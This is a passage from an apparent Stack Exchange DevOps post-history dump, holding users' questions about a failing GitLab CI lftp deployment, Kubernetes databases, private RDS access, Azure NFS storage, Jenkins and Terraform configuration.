[linux]&#xD;&#xA;      only:&#xD;&#xA;        - schedules&#xD;&#xA;      #   # - branches@gitlab-org/gitlab&#xD;&#xA;      before_script:&#xD;&#xA;        - apt-get update &amp;&amp; apt-get install -y lftp&#xD;&#xA;      script:&#xD;&#xA;        # temporarily using 'verify-certificate no'&#xD;&#xA;        # for more on verify-certificate @jkr: https://www.versatilewebsolutions.com/blog/2014/04/lftp-ftps-and-certificate-verification.html&#xD;&#xA;        # variables do not work with 'single quotes' unless they are &quot;'surrounded by doubles'&quot;&#xD;&#xA;        - lftp -e &quot;set ssl:verify-certificate no; open my-project.com; user $LFTP_USERNAME $LFTP_PASSWORD; mirror --reverse --verbose build/ /var/www/domains/dev/projects/my-project/build/; bye&quot;&#xD;&#xA;      environment:&#xD;&#xA;        name: staging&#xD;&#xA;        url: http://dev.my-project.com/projects/my-project/build&#xD;&#xA;        # url: https://stg2.my-project.org&#xD;&#xA;      when: manual&#xD;&#xA;      # allow_failure: true&#xD;&#xA;    &#xD;&#xA;    deploy-prod:&#xD;&#xA;      stage: deploy&#xD;&#xA;      needs: [build]&#xD;&#xA;      tags: [linux]&#xD;&#xA;      only:&#xD;&#xA;        - schedules&#xD;&#xA;        # - master&#xD;&#xA;      before_script:&#xD;&#xA;        - apt-get update &amp;&amp; apt-get install -y lftp&#xD;&#xA;      script:&#xD;&#xA;        - sh deploy-prod&#xD;&#xA;      environment:&#xD;&#xA;        name: production&#xD;&#xA;        url: http://www.my-project.com&#xD;&#xA;      when: manual&#xD;&#xA;      # allow_failure: true&#xD;&#xA;&#xD;&#xA;*Job Output*&#xD;&#xA;&#xD;&#xA;    Running with gitlab-runner 13.2.2 (a998cacd)&#xD;&#xA;      on docker-auto-scale fa6cab46&#xD;&#xA;    Preparing the &quot;docker+machine&quot; executor&#xD;&#xA;    00:40&#xD;&#xA;    Using Docker executor with image node:10.19.0 ...&#xD;&#xA;    Pulling docker image node:10.19.0 ...&#xD;&#xA;    Using docker image sha256:01b816051d343a5aaa3b33e165f6b6d620b7e899961bf6e8955a7577a0129873 for node:10.19.0 ...&#xD;&#xA;    Preparing environment&#xD;&#xA;    00:04&#xD;&#xA;    Running on runner-fa6cab46-project-13332271-concurrent-0 via runner-fa6cab46-srm-1596764203-a2a74b3b...&#xD;&#xA;    Getting source from Git repository&#xD;&#xA;    00:06&#xD;&#xA;    $ eval &quot;$CI_PRE_CLONE_SCRIPT&quot;&#xD;&#xA;    Fetching changes with git depth set to 50...&#xD;&#xA;    Initialized empty Git repository in /builds/my-project/.git/&#xD;&#xA;    Created fresh repository.&#xD;&#xA;    Checking out d4675c89 as pipeline-deploy-fail...&#xD;&#xA;    Skipping Git submodules setup&#xD;&#xA;    Restoring cache&#xD;&#xA;    00:26&#xD;&#xA;    Checking cache for my-project...&#xD;&#xA;    Downloading cache.zip from https://storage.googleapis.com/gitlab-com-runners-cache/project/13332271/my-project&#xD;&#xA;    Successfully extracted cache&#xD;&#xA;    Executing &quot;step_script&quot; stage of the job script&#xD;&#xA;    00:25&#xD;&#xA;    $ apt-get update &amp;&amp; apt-get install -y lftp&#xD;&#xA;    Ign:1 http://deb.debian.org/debian stretch InRelease&#xD;&#xA;    Get:2 http://security.debian.org/debian-security stretch/updates InRelease [53.0 kB]&#xD;&#xA;    Get:3 http://deb.debian.org/debian stretch-updates InRelease [93.6 kB]&#xD;&#xA;    Get:4 http://deb.debian.org/debian stretch Release [118 kB]&#xD;&#xA;    Get:5 http://deb.debian.org/debian stretch Release.gpg [2410 B]&#xD;&#xA;    Get:6 http://security.debian.org/debian-security stretch/updates/main amd64 Packages [546 kB]&#xD;&#xA;    Get:7 http://deb.debian.org/debian stretch-updates/main amd64 Packages [2596 B]&#xD;&#xA;    Get:8 http://deb.debian.org/debian stretch/main amd64 Packages [7080 kB]&#xD;&#xA;    Fetched 7895 kB in 2s (3798 kB/s)&#xD;&#xA;    Reading package lists...&#xD;&#xA;    Reading package lists...&#xD;&#xA;    Building dependency tree...&#xD;&#xA;    Reading state information...&#xD;&#xA;    The following NEW packages will be installed:&#xD;&#xA;      lftp&#xD;&#xA;    0 upgraded, 1 newly installed, 0 to remove and 65 not upgraded.&#xD;&#xA;    Need to get 711 kB of archives.&#xD;&#xA;    After this operation, 2235 kB of additional disk space will be used.&#xD;&#xA;    Get:1 http://deb.debian.org/debian stretch/main amd64 lftp amd64 4.7.4-1 [711 kB]&#xD;&#xA;    debconf: delaying package configuration, since apt-utils is not installed&#xD;&#xA;    Fetched 711 kB in 0s (5324 kB/s)&#xD;&#xA;    Selecting previously unselected package lftp.&#xD;&#xA;    (Reading database ... 29960 files and directories currently installed.)&#xD;&#xA;    Preparing to unpack .../lftp_4.7.4-1_amd64.deb ...&#xD;&#xA;    Unpacking lftp (4.7.4-1) ...&#xD;&#xA;    Setting up lftp (4.7.4-1) ...&#xD;&#xA;    $ lftp -e &quot;set ssl:verify-certificate no; open my-project.com; user $LFTP_USERNAME $LFTP_PASSWORD; mirror --reverse --verbose build/ /var/www/domains/dev/projects/my-project/build/; bye&quot;&#xD;&#xA;    Transferring file `asset-manifest.json'&#xD;&#xA;    Transferring file `favicon.ico'&#xD;&#xA;    Transferring file `index.html'&#xD;&#xA;    Transferring file `manifest.json'&#xD;&#xA;    Transferring file `precache-manifest.be0a0d937dde3502acb8ad9c21f53a42.js'&#xD;&#xA;    Transferring file `service-worker.js'&#xD;&#xA;    Making directory `images'&#xD;&#xA;    Transferring file `images/content-block-arrow.png'&#xD;&#xA;    Transferring file `images/logo-mobile.png'&#xD;&#xA;    Transferring file `images/primary-nav-bg.png'&#xD;&#xA;    Transferring file `images/secondary-nav-bg.png'&#xD;&#xA;    Transferring file `images/social-footer.png'&#xD;&#xA;    Transferring file `images/social-media-facebook.png'&#xD;&#xA;    Transferring file `images/social-media-instagram.png'&#xD;&#xA;    Transferring file `images/social-media-twitter.png'&#xD;&#xA;    Transferring file `images/social-media-youtube.png'&#xD;&#xA;    Making directory `static'&#xD;&#xA;    Making directory `static/css'&#xD;&#xA;    Transferring file `static/css/2.e01eb902.chunk.css'&#xD;&#xA;    Transferring file `static/css/2.e01eb902.chunk.css.map'&#xD;&#xA;    Transferring file `static/css/main.a760ea4c.chunk.css'&#xD;&#xA;    Transferring file `static/css/main.a760ea4c.chunk.css.map'&#xD;&#xA;    Making directory `static/js'&#xD;&#xA;    Transferring file `static/js/2.1b305e72.chunk.js'&#xD;&#xA;    Transferring file `static/js/2.1b305e72.chunk.js.LICENSE.txt'&#xD;&#xA;    Transferring file `static/js/2.1b305e72.chunk.js.map'&#xD;&#xA;    mirror: Access failed: 552 10099096: No space left on device (2.1b305e72.chunk.js.map)&#xD;&#xA;    Transferring file `static/js/main.9394eb63.chunk.js'&#xD;&#xA;    Transferring file `static/js/main.9394eb63.chunk.js.map'&#xD;&#xA;    Transferring file `static/js/runtime-main.76c0dd92.js'&#xD;&#xA;    Transferring file `static/js/runtime-main.76c0dd92.js.map'&#xD;&#xA;    Making directory `static/media'&#xD;&#xA;    Transferring file `static/media/GothamBook.b31b3549.woff2'&#xD;&#xA;    Transferring file `static/media/GothamMedium.39e89370.woff2'&#xD;&#xA;    Transferring file `static/media/Plantin.0e23fafd.woff2'&#xD;&#xA;    Transferring file `static/media/logo.81af0ace.png'&#xD;&#xA;    Transferring file `static/media/revicons.04eb8fc5.woff'&#xD;&#xA;    Transferring file `static/media/revicons.17629a5d.ttf'&#xD;&#xA;    Transferring file `static/media/revicons.2feb69cc.eot'&#xD;&#xA;    ERROR: Job failed: exit code 1&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://lftp.tech/" ContentLicense="CC BY-SA 4.0" />
  <row Id="37381" PostHistoryTypeId="1" PostId="12169" RevisionGUID="062181eb-eaa7-400b-a24d-76770f8a9ed7" CreationDate="2020-08-07T02:36:48.440" UserId="23358" Text="gitlab CI job fails after manual ftp deploy (lftp) command completes successfully" ContentLicense="CC BY-SA 4.0" />
  <row Id="37382" PostHistoryTypeId="3" PostId="12169" RevisionGUID="062181eb-eaa7-400b-a24d-76770f8a9ed7" CreationDate="2020-08-07T02:36:48.440" UserId="23358" Text="&lt;continuous-integration&gt;&lt;gitlab&gt;&lt;continuous-deployment&gt;&lt;yaml&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="37383" PostHistoryTypeId="5" PostId="12169" RevisionGUID="09c96ff3-367c-49c5-adf8-7420526fe412" CreationDate="2020-08-07T02:51:52.833" UserId="23358" Comment="clarification of question" Text="**Scenario**&#xD;&#xA;&#xD;&#xA;I'm using [LFTP][1] to deploy files via sftp. The transfer completes successfully and all files get to the destination but for some reason the job fails.&#xD;&#xA;&#xD;&#xA;**Question**&#xD;&#xA;&#xD;&#xA;How can I find out what is causing my `deploy-stage` job to fail?&#xD;&#xA;&#xD;&#xA;**Attempts**&#xD;&#xA;&#xD;&#xA;- commented out `when` - no success&#xD;&#xA;- tried a couple variations of `lftp` usage - no success&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;---&#xD;&#xA;&#xD;&#xA;*Gitlab CI .yml*&#xD;&#xA;&#xD;&#xA;    image: node:10.19.0 # https://hub.docker.com/_/node/&#xD;&#xA;    # image: node:latest&#xD;&#xA;    &#xD;&#xA;    cache:&#xD;&#xA;      # untracked: true&#xD;&#xA;      key: my-project&#xD;&#xA;      # key: ${CI_COMMIT_REF_SLUG} # per branch&#xD;&#xA;      # key:&#xD;&#xA;      #   files:&#xD;&#xA;      #     - package-lock.json # only update cache when this file changes (not working) @jkr&#xD;&#xA;      paths:&#xD;&#xA;        - .npm/&#xD;&#xA;        - node_modules&#xD;&#xA;        - build&#xD;&#xA;    &#xD;&#xA;    stages:&#xD;&#xA;      - prepare # prepares builds, makes build needed for testing&#xD;&#xA;      - test # uses test:build specifically @jkr&#xD;&#xA;      - build&#xD;&#xA;      - deploy&#xD;&#xA;    &#xD;&#xA;    # before_install:&#xD;&#xA;    &#xD;&#xA;    before_script:&#xD;&#xA;      - npm ci --cache .npm --prefer-offline&#xD;&#xA;    &#xD;&#xA;    prepare:&#xD;&#xA;      stage: prepare&#xD;&#xA;      needs: []&#xD;&#xA;      script:&#xD;&#xA;        - npm install&#xD;&#xA;        - npm run build:test&#xD;&#xA;    &#xD;&#xA;    test:&#xD;&#xA;      stage: test&#xD;&#xA;      needs: [prepare]&#xD;&#xA;      except:&#xD;&#xA;        - schedules&#xD;&#xA;      tags:&#xD;&#xA;        - linux&#xD;&#xA;      script:&#xD;&#xA;        - npm run test:ci-deps&#xD;&#xA;        - npm run test:e2e # runs puppeteer tests @jkr&#xD;&#xA;      artifacts:&#xD;&#xA;        reports:&#xD;&#xA;          junit: junit.xml&#xD;&#xA;        paths:&#xD;&#xA;          - coverage/&#xD;&#xA;    &#xD;&#xA;    build:&#xD;&#xA;      stage: build&#xD;&#xA;      needs: [prepare]&#xD;&#xA;      only:&#xD;&#xA;        - schedules&#xD;&#xA;      before_script:&#xD;&#xA;        - apt-get update &amp;&amp; apt-get install -y zip&#xD;&#xA;      script:&#xD;&#xA;        - npm run build:stage&#xD;&#xA;        - zip -r build.zip build&#xD;&#xA;      # cache:&#xD;&#xA;      #   paths:&#xD;&#xA;      #     - build&#xD;&#xA;      #   &lt;&lt;: *global_cache&#xD;&#xA;      #   policy: push&#xD;&#xA;      artifacts:&#xD;&#xA;        paths:&#xD;&#xA;          - build.zip&#xD;&#xA;    &#xD;&#xA;    deploy-stage:&#xD;&#xA;      stage: deploy&#xD;&#xA;      needs: [build]&#xD;&#xA;      tags: [linux]&#xD;&#xA;      only:&#xD;&#xA;        - schedules&#xD;&#xA;      #   # - branches@gitlab-org/gitlab&#xD;&#xA;      before_script:&#xD;&#xA;        - apt-get update &amp;&amp; apt-get install -y lftp&#xD;&#xA;      script:&#xD;&#xA;        # temporarily using 'verify-certificate no'&#xD;&#xA;        # for more on verify-certificate @jkr: https://www.versatilewebsolutions.com/blog/2014/04/lftp-ftps-and-certificate-verification.html&#xD;&#xA;        # variables do not work with 'single quotes' unless they are &quot;'surrounded by doubles'&quot;&#xD;&#xA;        - lftp -e &quot;set ssl:verify-certificate no; open my-project.com; user $LFTP_USERNAME $LFTP_PASSWORD; mirror --reverse --verbose build/ /var/www/domains/dev/projects/my-project/build/; bye&quot;&#xD;&#xA;      environment:&#xD;&#xA;        name: staging&#xD;&#xA;        url: http://dev.my-project.com/projects/my-project/build&#xD;&#xA;        # url: https://stg2.my-project.org&#xD;&#xA;      when: manual&#xD;&#xA;      # allow_failure: true&#xD;&#xA;    &#xD;&#xA;    deploy-prod:&#xD;&#xA;      stage: deploy&#xD;&#xA;      needs: [build]&#xD;&#xA;      tags: [linux]&#xD;&#xA;      only:&#xD;&#xA;        - schedules&#xD;&#xA;        # - master&#xD;&#xA;      before_script:&#xD;&#xA;        - apt-get update &amp;&amp; apt-get install -y lftp&#xD;&#xA;      script:&#xD;&#xA;        - sh deploy-prod&#xD;&#xA;      environment:&#xD;&#xA;        name: production&#xD;&#xA;        url: http://www.my-project.com&#xD;&#xA;      when: manual&#xD;&#xA;      # allow_failure: true&#xD;&#xA;&#xD;&#xA;*Job Output*&#xD;&#xA;&#xD;&#xA;    Running with gitlab-runner 13.2.2 (a998cacd)&#xD;&#xA;      on docker-auto-scale fa6cab46&#xD;&#xA;    Preparing the &quot;docker+machine&quot; executor&#xD;&#xA;    00:40&#xD;&#xA;    Using Docker executor with image node:10.19.0 ...&#xD;&#xA;    Pulling docker image node:10.19.0 ...&#xD;&#xA;    Using docker image sha256:01b816051d343a5aaa3b33e165f6b6d620b7e899961bf6e8955a7577a0129873 for node:10.19.0 ...&#xD;&#xA;    Preparing environment&#xD;&#xA;    00:04&#xD;&#xA;    Running on runner-fa6cab46-project-13332271-concurrent-0 via runner-fa6cab46-srm-1596764203-a2a74b3b...&#xD;&#xA;    Getting source from Git repository&#xD;&#xA;    00:06&#xD;&#xA;    $ eval &quot;$CI_PRE_CLONE_SCRIPT&quot;&#xD;&#xA;    Fetching changes with git depth set to 50...&#xD;&#xA;    Initialized empty Git repository in /builds/my-project/.git/&#xD;&#xA;    Created fresh repository.&#xD;&#xA;    Checking out d4675c89 as pipeline-deploy-fail...&#xD;&#xA;    Skipping Git submodules setup&#xD;&#xA;    Restoring cache&#xD;&#xA;    00:26&#xD;&#xA;    Checking cache for my-project...&#xD;&#xA;    Downloading cache.zip from https://storage.googleapis.com/gitlab-com-runners-cache/project/13332271/my-project&#xD;&#xA;    Successfully extracted cache&#xD;&#xA;    Executing &quot;step_script&quot; stage of the job script&#xD;&#xA;    00:25&#xD;&#xA;    $ apt-get update &amp;&amp; apt-get install -y lftp&#xD;&#xA;    Ign:1 http://deb.debian.org/debian stretch InRelease&#xD;&#xA;    Get:2 http://security.debian.org/debian-security stretch/updates InRelease [53.0 kB]&#xD;&#xA;    Get:3 http://deb.debian.org/debian stretch-updates InRelease [93.6 kB]&#xD;&#xA;    Get:4 http://deb.debian.org/debian stretch Release [118 kB]&#xD;&#xA;    Get:5 http://deb.debian.org/debian stretch Release.gpg [2410 B]&#xD;&#xA;    Get:6 http://security.debian.org/debian-security stretch/updates/main amd64 Packages [546 kB]&#xD;&#xA;    Get:7 http://deb.debian.org/debian stretch-updates/main amd64 Packages [2596 B]&#xD;&#xA;    Get:8 http://deb.debian.org/debian stretch/main amd64 Packages [7080 kB]&#xD;&#xA;    Fetched 7895 kB in 2s (3798 kB/s)&#xD;&#xA;    Reading package lists...&#xD;&#xA;    Reading package lists...&#xD;&#xA;    Building dependency tree...&#xD;&#xA;    Reading state information...&#xD;&#xA;    The following NEW packages will be installed:&#xD;&#xA;      lftp&#xD;&#xA;    0 upgraded, 1 newly installed, 0 to remove and 65 not upgraded.&#xD;&#xA;    Need to get 711 kB of archives.&#xD;&#xA;    After this operation, 2235 kB of additional disk space will be used.&#xD;&#xA;    Get:1 http://deb.debian.org/debian stretch/main amd64 lftp amd64 4.7.4-1 [711 kB]&#xD;&#xA;    debconf: delaying package configuration, since apt-utils is not installed&#xD;&#xA;    Fetched 711 kB in 0s (5324 kB/s)&#xD;&#xA;    Selecting previously unselected package lftp.&#xD;&#xA;    (Reading database ... 29960 files and directories currently installed.)&#xD;&#xA;    Preparing to unpack .../lftp_4.7.4-1_amd64.deb ...&#xD;&#xA;    Unpacking lftp (4.7.4-1) ...&#xD;&#xA;    Setting up lftp (4.7.4-1) ...&#xD;&#xA;    $ lftp -e &quot;set ssl:verify-certificate no; open my-project.com; user $LFTP_USERNAME $LFTP_PASSWORD; mirror --reverse --verbose build/ /var/www/domains/dev/projects/my-project/build/; bye&quot;&#xD;&#xA;    Transferring file `asset-manifest.json'&#xD;&#xA;    Transferring file `favicon.ico'&#xD;&#xA;    Transferring file `index.html'&#xD;&#xA;    Transferring file `manifest.json'&#xD;&#xA;    Transferring file `precache-manifest.be0a0d937dde3502acb8ad9c21f53a42.js'&#xD;&#xA;    Transferring file `service-worker.js'&#xD;&#xA;    Making directory `images'&#xD;&#xA;    Transferring file `images/content-block-arrow.png'&#xD;&#xA;    Transferring file `images/logo-mobile.png'&#xD;&#xA;    Transferring file `images/primary-nav-bg.png'&#xD;&#xA;    Transferring file `images/secondary-nav-bg.png'&#xD;&#xA;    Transferring file `images/social-footer.png'&#xD;&#xA;    Transferring file `images/social-media-facebook.png'&#xD;&#xA;    Transferring file `images/social-media-instagram.png'&#xD;&#xA;    Transferring file `images/social-media-twitter.png'&#xD;&#xA;    Transferring file `images/social-media-youtube.png'&#xD;&#xA;    Making directory `static'&#xD;&#xA;    Making directory `static/css'&#xD;&#xA;    Transferring file `static/css/2.e01eb902.chunk.css'&#xD;&#xA;    Transferring file `static/css/2.e01eb902.chunk.css.map'&#xD;&#xA;    Transferring file `static/css/main.a760ea4c.chunk.css'&#xD;&#xA;    Transferring file `static/css/main.a760ea4c.chunk.css.map'&#xD;&#xA;    Making directory `static/js'&#xD;&#xA;    Transferring file `static/js/2.1b305e72.chunk.js'&#xD;&#xA;    Transferring file `static/js/2.1b305e72.chunk.js.LICENSE.txt'&#xD;&#xA;    Transferring file `static/js/2.1b305e72.chunk.js.map'&#xD;&#xA;    mirror: Access failed: 552 10099096: No space left on device (2.1b305e72.chunk.js.map)&#xD;&#xA;    Transferring file `static/js/main.9394eb63.chunk.js'&#xD;&#xA;    Transferring file `static/js/main.9394eb63.chunk.js.map'&#xD;&#xA;    Transferring file `static/js/runtime-main.76c0dd92.js'&#xD;&#xA;    Transferring file `static/js/runtime-main.76c0dd92.js.map'&#xD;&#xA;    Making directory `static/media'&#xD;&#xA;    Transferring file `static/media/GothamBook.b31b3549.woff2'&#xD;&#xA;    Transferring file `static/media/GothamMedium.39e89370.woff2'&#xD;&#xA;    Transferring file `static/media/Plantin.0e23fafd.woff2'&#xD;&#xA;    Transferring file `static/media/logo.81af0ace.png'&#xD;&#xA;    Transferring file `static/media/revicons.04eb8fc5.woff'&#xD;&#xA;    Transferring file `static/media/revicons.17629a5d.ttf'&#xD;&#xA;    Transferring file `static/media/revicons.2feb69cc.eot'&#xD;&#xA;    ERROR: Job failed: exit code 1&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://lftp.tech/" ContentLicense="CC BY-SA 4.0" />
  <row Id="37384" PostHistoryTypeId="2" PostId="12170" RevisionGUID="8773c25f-a7e7-4020-9773-c7120eb8b087" CreationDate="2020-08-07T09:21:00.320" UserId="22463" Text="I have multiple applications that all run in the same Kubernetes cluster. All are different side projects. They all have their own MongoDB instance separated by a namespace. Is that a good practice or should I run a single MongoDB instance (with multiple replicas for HA) and point all applications to that same database deployment?&#xD;&#xA;&#xD;&#xA;I have the same question for MySQL.&#xD;&#xA;&#xD;&#xA;Thanks!" ContentLicense="CC BY-SA 4.0" />
  <row Id="37385" PostHistoryTypeId="1" PostId="12170" RevisionGUID="8773c25f-a7e7-4020-9773-c7120eb8b087" CreationDate="2020-08-07T09:21:00.320" UserId="22463" Text="Should I run a database instance for each application?" ContentLicense="CC BY-SA 4.0" />
  <row Id="37386" PostHistoryTypeId="3" PostId="12170" RevisionGUID="8773c25f-a7e7-4020-9773-c7120eb8b087" CreationDate="2020-08-07T09:21:00.320" UserId="22463" Text="&lt;kubernetes&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="37387" PostHistoryTypeId="2" PostId="12171" RevisionGUID="ac69bd0e-ba3f-4a75-9b1e-1c00d886ed34" CreationDate="2020-08-07T12:23:48.157" UserId="21684" Text="I'm looking for some way to **allow access to RDS (Private endpoint) instances from local machine** for a specific set of people (for the internal team.)&#xD;&#xA;&#xD;&#xA;**ways I know:** Create Bastion EC2 and through SSH tunneling connect from local.&#xD;&#xA;&#xD;&#xA;as I'm already using k8s from where the instances are reachable. is there any way to do some kind of port forwarding and finally connect RDS instance from local machine?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;what I was trying: as I'm already having k8s which has access to those RDS instances, I tried creating a service in that, and through the Loadbalancer, I tried to connect using ssh but failed. (Probably I misunderstood/missing something in the process.)&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;is there any other secure easy way to do it?" ContentLicense="CC BY-SA 4.0" />
  <row Id="37388" PostHistoryTypeId="1" PostId="12171" RevisionGUID="ac69bd0e-ba3f-4a75-9b1e-1c00d886ed34" CreationDate="2020-08-07T12:23:48.157" UserId="21684" Text="Secure RDS (private endpoint) and allow connecting from local machine for specific predefined users" ContentLicense="CC BY-SA 4.0" />
  <row Id="37389" PostHistoryTypeId="3" PostId="12171" RevisionGUID="ac69bd0e-ba3f-4a75-9b1e-1c00d886ed34" CreationDate="2020-08-07T12:23:48.157" UserId="21684" Text="&lt;amazon-rds&gt;&lt;eks&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="37393" PostHistoryTypeId="2" PostId="12173" RevisionGUID="d872c825-18c4-4270-b497-edd972ba60ca" CreationDate="2020-08-07T13:32:30.737" UserId="19154" Text="What is a reliable way to implement Azure managed NFS shared for multiple Azure VMs? &lt;br/&gt;&#xD;&#xA;The idea is an alternative to AWS EFS for multiple EC2. &lt;br/&gt;&#xD;&#xA;I only found the following solutions with disadvantages: &lt;br/&gt;&#xD;&#xA;* [Azure NetApp files][1] - minimum of **4TiB** and it asks to contact sales. &lt;br/&gt;&#xD;&#xA;* [Azure shared disks][2] - it has &quot;maxShares limit&quot;. &lt;br/&gt;&#xD;&#xA;* [Azure files NFS][3] - It's in preview. &lt;br/&gt;&#xD;&#xA;* [SoftNAS on Azure][4] - It doesn't make sense to provision 2 SoftNAS for HA for a small amount of storage. &lt;br/&gt;&#xD;&#xA;&#xD;&#xA;So how do companies get an alternative solution to AWS EFS on Azure which makes sense?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://azure.microsoft.com/en-us/services/netapp/&#xD;&#xA;  [2]: https://docs.microsoft.com/en-us/azure/virtual-machines/windows/disks-shared#linux&#xD;&#xA;  [3]: https://aka.ms/AzureNFSPreview&#xD;&#xA;  [4]: https://www.buurst.com/products/softnas/softnas-on-microsoft-azure/" ContentLicense="CC BY-SA 4.0" />
  <row Id="37394" PostHistoryTypeId="1" PostId="12173" RevisionGUID="d872c825-18c4-4270-b497-edd972ba60ca" CreationDate="2020-08-07T13:32:30.737" UserId="19154" Text="Azure managed NFS shared storage for Azure VMs" ContentLicense="CC BY-SA 4.0" />
  <row Id="37395" PostHistoryTypeId="3" PostId="12173" RevisionGUID="d872c825-18c4-4270-b497-edd972ba60ca" CreationDate="2020-08-07T13:32:30.737" UserId="19154" Text="&lt;azure&gt;&lt;storage&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="37396" PostHistoryTypeId="2" PostId="12174" RevisionGUID="29c0d37f-9ba4-464d-8c2a-ad391a490180" CreationDate="2020-08-07T16:54:39.507" UserId="12925" Text="I am config jdk 11 in jenknins 2.235.3 running in kubernetes v1.16 cluster, I just want to know if it has a way to see the jdk install progress? so I could know if the config is correct or other problem. But now I do not know weather the installing is working. this is my jenkins jdk config:&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;[![enter image description here][1]][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://i.stack.imgur.com/CbCO1.png" ContentLicense="CC BY-SA 4.0" />
  <row Id="37397" PostHistoryTypeId="1" PostId="12174" RevisionGUID="29c0d37f-9ba4-464d-8c2a-ad391a490180" CreationDate="2020-08-07T16:54:39.507" UserId="12925" Text="is it possible to see jenkins jdk install progress" ContentLicense="CC BY-SA 4.0" />
  <row Id="37398" PostHistoryTypeId="3" PostId="12174" RevisionGUID="29c0d37f-9ba4-464d-8c2a-ad391a490180" CreationDate="2020-08-07T16:54:39.507" UserId="12925" Text="&lt;jenkins&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="37439" PostHistoryTypeId="6" PostId="12160" RevisionGUID="f43728cd-e7df-4185-91e0-2e9e51fb358e" CreationDate="2020-08-08T06:02:34.110" UserId="3767" Comment="retag (edit summary must have at least 10 characters)" Text="&lt;bash&gt;&lt;make&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="37440" PostHistoryTypeId="24" PostId="12160" RevisionGUID="f43728cd-e7df-4185-91e0-2e9e51fb358e" CreationDate="2020-08-08T06:02:34.110" Comment="Proposed by 3767 approved by 40 edit id of 1262" ContentLicense="CC BY-SA 4.0" />
  <row Id="37441" PostHistoryTypeId="5" PostId="12170" RevisionGUID="13c8152a-6345-418d-bbc2-172393d2fac1" CreationDate="2020-08-08T10:47:49.057" UserId="210" Comment="deleted 11 characters in body" Text="I have multiple applications that all run in the same Kubernetes cluster. All are different side projects. They all have their own MongoDB instance separated by a namespace. Is that a good practice or should I run a single MongoDB instance (with multiple replicas for HA) and point all applications to that same database deployment?&#xD;&#xA;&#xD;&#xA;I have the same question for MySQL." ContentLicense="CC BY-SA 4.0" />
  <row Id="37442" PostHistoryTypeId="10" PostId="12170" RevisionGUID="b8d33672-5133-427d-af66-625f4826301f" CreationDate="2020-08-08T10:53:32.003" UserId="210" Comment="101" Text="{&quot;OriginalQuestionIds&quot;:[2161],&quot;Voters&quot;:[{&quot;Id&quot;:210,&quot;DisplayName&quot;:&quot;030&quot;}]}" />
  <row Id="37443" PostHistoryTypeId="50" PostId="9760" RevisionGUID="4fb4f8d6-81a2-4cbf-98ad-3ea0d6798334" CreationDate="2020-08-08T11:01:40.217" UserId="-1" />
  <row Id="37444" PostHistoryTypeId="5" PostId="12074" RevisionGUID="8d30ba12-afb5-4c78-aebd-f8615496824a" CreationDate="2020-08-08T11:35:20.840" UserId="23300" Comment="added 278 characters in body" Text="I configured AWS provider in Terraform by providing an access key and secret as environment variables according to the [documentation][1]:&#xD;&#xA;&#xD;&#xA;`$ export AWS_ACCESS_KEY_ID=&quot;anaccesskey&quot;` \&#xD;&#xA;`$ export AWS_SECRET_ACCESS_KEY=&quot;asecretkey&quot;`&#xD;&#xA;&#xD;&#xA;I now want to view those variables on the console as well as other environment variables configured on my system but I can't find the right command.&#xD;&#xA;&#xD;&#xA;**Update:** I found out that I didn't configure the AWS provider like I thought. The AWS CLI was already configured with my credentials stored in [AWS credentials file][2]: `~/.aws/credentials`.&#xD;&#xA;&#xD;&#xA;  [1]: https://registry.terraform.io/providers/hashicorp/aws/latest/docs&#xD;&#xA;  [2]: https://docs.aws.amazon.com/cli/latest/userguide/cli-configure-files.html" ContentLicense="CC BY-SA 4.0" />
  <row Id="37445" PostHistoryTypeId="50" PostId="9763" RevisionGUID="46f010dc-4743-49b1-8c55-06d0da4be60a" CreationDate="2020-08-08T12:11:26.093" UserId="-1" />
  <row Id="37449" PostHistoryTypeId="33" PostId="12157" RevisionGUID="622ec94a-8c78-41e8-b7e1-e6dca0357d39" CreationDate="2020-08-08T21:28:12.557" UserId="17900" Comment="60" />
  <row Id="37453" PostHistoryTypeId="5" PostId="12080" RevisionGUID="816f0f93-b325-4379-bf76-f0b4964e70ce" CreationDate="2020-08-09T05:56:53.117" UserId="15035" Comment="format code " Text="Your loop is being nested.&#xD;&#xA;&#xD;&#xA;Use this instead.&#xD;&#xA;&#xD;&#xA;    # Clusters&#xD;&#xA;    variable &quot;datadog_gke_clusters&quot; {&#xD;&#xA;      type = list(object({&#xD;&#xA;        name        = string&#xD;&#xA;        environment = string&#xD;&#xA;        url = object({&#xD;&#xA;          private = string&#xD;&#xA;          public  = string&#xD;&#xA;        })&#xD;&#xA;      }))&#xD;&#xA;      default = [&#xD;&#xA;        # NPRD&#xD;&#xA;        {&#xD;&#xA;          name        = &quot;cluster01&quot;&#xD;&#xA;          environment = &quot;nprd&quot;&#xD;&#xA;          url = {&#xD;&#xA;            private = &quot;https://private.domain-priv.com&quot;&#xD;&#xA;            public  = &quot;https://public.domain.com&quot;&#xD;&#xA;          }&#xD;&#xA;        },&#xD;&#xA;        # PROD&#xD;&#xA;        {&#xD;&#xA;          name        = &quot;cluster02&quot;&#xD;&#xA;          environment = &quot;nprd&quot;&#xD;&#xA;          url = {&#xD;&#xA;            private = &quot;https://private.domain-priv.com&quot;&#xD;&#xA;            public  = &quot;https://public.domain.com&quot;&#xD;&#xA;          }&#xD;&#xA;        }&#xD;&#xA;      ]&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;    # Point of views&#xD;&#xA;    variable &quot;gke_slo&quot; {&#xD;&#xA;      type = list(object({&#xD;&#xA;        zone              = string&#xD;&#xA;        monitor_threshold = number&#xD;&#xA;      }))&#xD;&#xA;      description = &quot;Response time threshold in ms to respond to a request.&quot;&#xD;&#xA;      default = [&#xD;&#xA;        {&#xD;&#xA;          zone              = &quot;private&quot;&#xD;&#xA;          monitor_threshold = 50&#xD;&#xA;        },&#xD;&#xA;        {&#xD;&#xA;          zone              = 